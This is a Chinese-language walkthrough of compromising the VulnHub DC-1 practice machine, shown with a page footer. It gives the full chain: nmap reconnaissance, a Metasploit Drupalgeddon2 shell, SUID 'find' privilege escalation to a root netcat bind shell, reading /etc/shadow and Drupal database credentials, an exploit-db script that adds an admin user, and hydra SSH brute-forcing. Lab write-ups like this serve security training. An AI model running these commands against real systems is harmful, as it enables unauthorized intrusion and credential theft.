VulnHub測試靶場DC-1

**

IP:192.168.110.212

**

一.arp-scan -l查看同一區域中存活的主機.
在這裏插入圖片描述
知道了ip然後我們訪問主頁爲下圖:
在這裏插入圖片描述

先信息蒐集使用nmap進行端口掃描發現掃描的端口如下:

22(ssh)  80(http) .   111(rpcbind)
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35108/tcp6  status
|   100024  1          37240/udp6  status
|   100024  1          37414/udp   status
|_  100024  1          51353/tcp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds

版本:
內容管理系統(CMS)Drupal7
Web 服務器 Apache2.2.22
編程語言 PHP5.4.45
操作系統 Debian
JavaScript 庫 jQuery1.4.4

二.信息蒐集完之後我是先開始從https://www.exploit-db.com/?type=webapps這個根據他的版本來進行搜索的,但是最後沒有結果,最後從主頁下的手 ,從主頁看出他的cms是Drupal
之後在網上查的關於他的漏洞

在這裏插入圖片描述
三.直接使用msf進行查詢search drupal,因爲有好多,我先利用的是時間較近的
unix/webapp/drupal_drupalgeddon2模塊
在這裏插入圖片描述

直接set設置ip使用run -j,之後直接拿到shell
在這裏插入圖片描述

輸入python -c 'import pty;pty.spawn("/bin/sh")'
在這裏插入圖片描述

四.查看他的系統uname -a發現是linux

Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux

之後提權我是在網上找的方式
現在使用suid進行提權先find查找
find / -user root -perm -4000 -print 2>/dev/null
發現Find命令也是以Suid權限運行的話,則將通過find執行的所有命令都會以root權限執行。

在這裏插入圖片描述

五.我先自己創建了一個文本文件然後輸入:find chen -exec whoami \;
在這裏插入圖片描述

find chen -exec netcat -lvp 5555 -e /bin/sh \;

在這裏插入圖片描述

六.另一邊進行監聽
在這裏插入圖片描述

七.提權成功 我先在etc下面的shadow裏面找到的flag4:flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWC
繼續查看敏感文件/var/www下面找到了1 它提示:每一個好的CMS都需要一個配置文件,你也一樣。
在這裏插入圖片描述

八.所以之後我在網上查了drupal 的配置文件在哪裏
/sites/default/settings.php
之後先find查詢的

在這裏插入圖片描述
cat /var/www/sites/default/settings.php 在這塊看到了他的用戶名和密碼

在這裏插入圖片描述

 'username' => 'dbuser',
 'password' => 'R0ck3t',

既然知道了他的用戶和密碼就可以進行連接

九.使用cat 查看他的配置文件裏的版本信息

cat /var/www/includes/bootstrap.inc | grep VERSION

在這裏插入圖片描述

得到VERSION', '7.24
剛開始使用searchsploit Drupal都是一些python腳本
在這裏插入圖片描述

 python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.110.212 -u chen -p chen

在這裏插入圖片描述

十.從剛剛使用python腳本添加的用戶和密碼來進行登陸

在這裏插入圖片描述

十一.因爲前面已經知道他的用戶名(在shadow裏面找的用戶名所以現在可以直接拿九頭蛇爆破)

hydra -l flag4 -P pass.txt  ssh://192.168.110.212

在這裏插入圖片描述

十二.現在可知道他的 密碼爲orange
進行連接成功!!!!!

在這裏插入圖片描述

用戶名:flag4
密碼:orange

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章